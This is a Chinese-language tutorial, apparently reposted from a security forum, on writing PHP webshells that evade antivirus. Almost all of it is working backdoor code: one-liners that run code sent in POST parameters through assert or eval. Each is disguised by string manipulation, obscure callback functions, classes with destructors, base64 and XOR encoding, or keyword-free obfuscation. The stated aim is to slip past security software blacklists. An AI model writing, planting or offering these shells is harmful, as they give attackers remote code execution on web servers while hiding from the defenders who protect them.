php免殺webshell

原文地址：https://xz.aliyun.com/t/5152?spm=5176.12901015.0.i12901015.3268525cyJqgGL

eval函數中參數是字符 eval('echo 1;'); 
assert函數中參數為表達式 （或者為函數）assert(phpinfo()); assert不能執行普通代碼

字符串變形

ucwords() //函數把字符串中每個單詞的首字符轉換為大寫。
ucfirst() //函數把字符串中的首字符轉換為大寫。
trim() //函數從字符串的兩端刪除空白字符和其他預定義字符。
substr_replace() //函數把字符串的一部分替換為另一個字符串
substr() //函數返回字符串的一部分。
strtr() //函數轉換字符串中特定的字符。
strtoupper() //函數把字符串轉換為大寫。
strtolower() //函數把字符串轉換為小寫。
strtok() //函數把字符串分割為更小的字符串
str_rot13() //函數對字符串執行 ROT13 編碼。

例如

<?php
$a = substr_replace("assexx","rt",4);
$a($_POST['x']);
?>

定義函數繞過

<?php 
function kdog($a){
    $a($_POST['x']);
}
kdog(assert);
?>

反過來

<?php 
function kdog($a){
    assert($a);
}
kdog($_POST[x]);
?>

回調函數

call_user_func_array()
call_user_func()
array_filter() 
array_walk()  
array_map()
registregister_shutdown_function()
register_tick_function()
filter_var() 
filter_var_array() 
uasort() 
uksort() 
array_reduce()
array_walk() 
array_walk_recursive()

回調函數大部分已經被安全軟件加入黑名單，所以找到一個生僻的不常用的回調函數來執行，例如

 <?php forward_static_call_array(assert,array($_POST[x]));?> 

回調函數變形

定義一個函數

<?php
function test($a,$b){
    array_map($a,$b);
}
test(assert,array($_POST['x']));
?>

定義一個類

<?php
class loveme {
    var $a;
    var $b;
    function __construct($a,$b) {
        $this->a=$a;
        $this->b=$b;
    }
    function test() {
       array_map($this->a,$this->b);
    }
}
$p1=new loveme(assert,array($_POST['x']));
$p1->test();
?>

字符干擾

<?php
$a = $_POST['a'];
$b = "\n";
eval($b.=$a);
?>

命名空間免殺

<?php
function dog($a){
    \assert($a);
}
dog($_POST[x]);
?>

數組

<?php
$a = substr_replace("assexx","rt",4);
$b=[''=>$a($_POST['q'])];
?>

多維數組

<?php
$b = substr_replace("assexx","rt",4);
$a = array($arrayName = array('a' => $b($_POST['q'])));
?>

類

搭配魔術方法比如 __destruct()，__construct()

<?php 

class me
{
  public $a = '';
  function __destruct(){

    assert("$this->a");
  }
}

$b = new me;
$b->a = $_POST['x'];

?>

編碼繞過

base64_decode

<?php
$a = base64_decode("YXNz+ZX____J____0");
$a($_POST[x]);
?>

異或

<?php
$a= ("!"^"@").'ssert';
$a($_POST[x]);
?>

無字符特征馬

異或，編碼方式

<?php
$_=('%01'^'`').('%13'^'`').('%13'^'`').('%05'^'`').('%12'^'`').('%14'^'`'); // $_='assert';
$__='_'.('%0D'^']').('%2F'^'`').('%0E'^']').('%09'^']'); // $__='_POST';
$___=$$__;
$_($___[_]); // assert($_POST[_]);

利用正則匹配字符 如Tab等 然后轉換為字符

利用POST包獲取關鍵參數執行

<?php
$decrpt = $_POST['x'];
$arrs = explode("|", $decrpt)[1];
$arrs = explode("|", base64_decode($arrs));
call_user_func($arrs[0],$arrs[1]);
?>

在php7.1后面我們已經不能使用強大的assert函數了用eval將更加注重特殊的調用方法和一些字符干擾,后期大家可能更加傾向使用大馬